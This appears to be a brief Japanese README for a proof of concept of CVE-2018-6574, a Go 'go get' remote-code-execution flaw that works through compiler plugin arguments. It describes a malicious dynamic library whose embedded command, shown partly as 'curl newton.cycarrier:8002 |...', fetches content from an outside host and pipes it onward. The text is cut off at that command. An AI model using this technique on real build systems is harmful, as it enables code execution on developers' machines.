CVE-2018-6574

CVE-2018-6574 Go 1.8.7以前、Go 1.9.xの1.9.4以前、およびGo 1.10のプレリリース（Go 1.10rc2以前）では、go getがソースコードビルド中にリモートコマンド実行を許可します。これは、gccやclangのプラグイン機能を利用し、-fplugin=および-plugin=引数がブロックされていなかったためです。（mitreより） RCEコマンド コマンドは動的ライブラリcalcdarwin.soにコンパイルされています。現在のコマンドはcurl newton.cycarrier:8002 |...